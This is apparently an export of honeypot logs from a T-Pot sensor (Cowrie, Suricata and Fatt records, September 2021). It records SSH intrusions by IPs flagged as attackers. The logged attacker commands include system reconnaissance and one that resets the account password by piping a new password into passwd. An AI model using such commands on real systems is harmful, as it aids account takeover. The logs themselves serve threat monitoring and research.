34357	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:31.768871+03	2021-09-20 15:15:01.792145+03	{"_id": "jgYUA3wBvYTbRNuERFWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:31.768871Z", "@timestamp": "2021-09-20T12:00:31.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34358	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:17.845493+03	2021-09-20 15:15:01.793146+03	{"_id": "FQYUA3wBvYTbRNuEDVXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.70.175.230", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5422835350036621, "duplicate": true, "timestamp": "2021-09-20T12:00:17.845493Z", "@timestamp": "2021-09-20T12:00:17.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34359	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:00:19.977437+03	2021-09-20 15:15:01.795145+03	{"_id": "HgYUA3wBvYTbRNuEFlXR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8848, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2655, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2248101709733913, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54527, "timestamp": "2021-09-20T12:00:19.977437Z", "@timestamp": "2021-09-20T12:00:19.977Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34360	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:20.02429+03	2021-09-20 15:15:01.796146+03	{"_id": "IQYUA3wBvYTbRNuEF1XY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35946, "dest_port": 443, "timestamp": "2021-09-20T12:00:20.024290", "@timestamp": "2021-09-20T12:00:20.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34368	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:28.71851+03	2021-09-20 15:15:01.806146+03	{"_id": "aQYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "echo \\"1\\\\n5Wt1mIKqd7vb\\\\n5Wt1mIKqd7vb\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: echo \\"1\\\\n5Wt1mIKqd7vb\\\\n5Wt1mIKqd7vb\\\\n\\"|passwd", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:28.718510Z", "@timestamp": "2021-09-20T12:00:28.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34361	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:21.094278+03	2021-09-20 15:15:01.797145+03	{"_id": "JwYUA3wBvYTbRNuEGVWU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.70.175.230", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 1 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 1.0516674518585205, "duplicate": true, "timestamp": "2021-09-20T12:00:21.094278Z", "@timestamp": "2021-09-20T12:00:21.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34362	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:22.046148+03	2021-09-20 15:15:01.798145+03	{"_id": "LwYUA3wBvYTbRNuEHVV8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:59262 (192.168.176.2:22) [session: f9096abafc92]", "session": "f9096abafc92", "@version": "1", "protocol": "ssh", "src_port": 59262, "dest_port": 22, "timestamp": "2021-09-20T12:00:22.046148Z", "@timestamp": "2021-09-20T12:00:22.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	HK
34363	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:00:22.264203+03	2021-09-20 15:15:01.799145+03	{"_id": "NQYUA3wBvYTbRNuEHlWj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:00:21.834762+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1282275234135242, "payload": "AAADzAYUqwld6U7pL6yLIvzwr9tcAQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59262, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:00:22.264203Z", "@timestamp": "2021-09-20T12:00:22.264Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........].N./..\\"....\\\\....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	HK
34364	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.630147+03	2021-09-20 15:15:01.801146+03	{"_id": "XgYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "150.109.115.128", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4261631965637207, "duplicate": true, "timestamp": "2021-09-20T12:00:27.630147Z", "@timestamp": "2021-09-20T12:00:27.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34365	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:27.96313+03	2021-09-20 15:15:01.802144+03	{"_id": "YgYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.70.175.230", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 1 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 1.0904619693756104, "duplicate": true, "timestamp": "2021-09-20T12:00:27.963130Z", "@timestamp": "2021-09-20T12:00:27.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34366	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:28.931234+03	2021-09-20 15:15:01.804144+03	{"_id": "ZAYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.70.175.230", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5430319309234619, "duplicate": true, "timestamp": "2021-09-20T12:00:28.931234Z", "@timestamp": "2021-09-20T12:00:28.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34369	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:29.340322+03	2021-09-20 15:15:01.807145+03	{"_id": "bgYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:29.340322Z", "@timestamp": "2021-09-20T12:00:29.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34370	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:29.340867+03	2021-09-20 15:15:01.808144+03	{"_id": "bwYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:29.340867Z", "@timestamp": "2021-09-20T12:00:29.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34371	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.226475+03	2021-09-20 15:15:01.810144+03	{"_id": "cgYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:30.226475Z", "@timestamp": "2021-09-20T12:00:30.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34372	91.200.124.7	109.199.241.180	Fatt	2021-09-20 15:00:30.489468+03	2021-09-20 15:15:01.811145+03	{"_id": "dQYUA3wBvYTbRNuEPlXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56902, "dest_port": 22, "timestamp": "2021-09-20T12:00:30.489468", "@timestamp": "2021-09-20T12:00:30.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	UA
34373	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:30.345559+03	2021-09-20 15:15:01.812145+03	{"_id": "ewYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:30.345559Z", "@timestamp": "2021-09-20T12:00:30.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34374	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:30.346134+03	2021-09-20 15:15:01.813146+03	{"_id": "ggYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:30.346134Z", "@timestamp": "2021-09-20T12:00:30.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
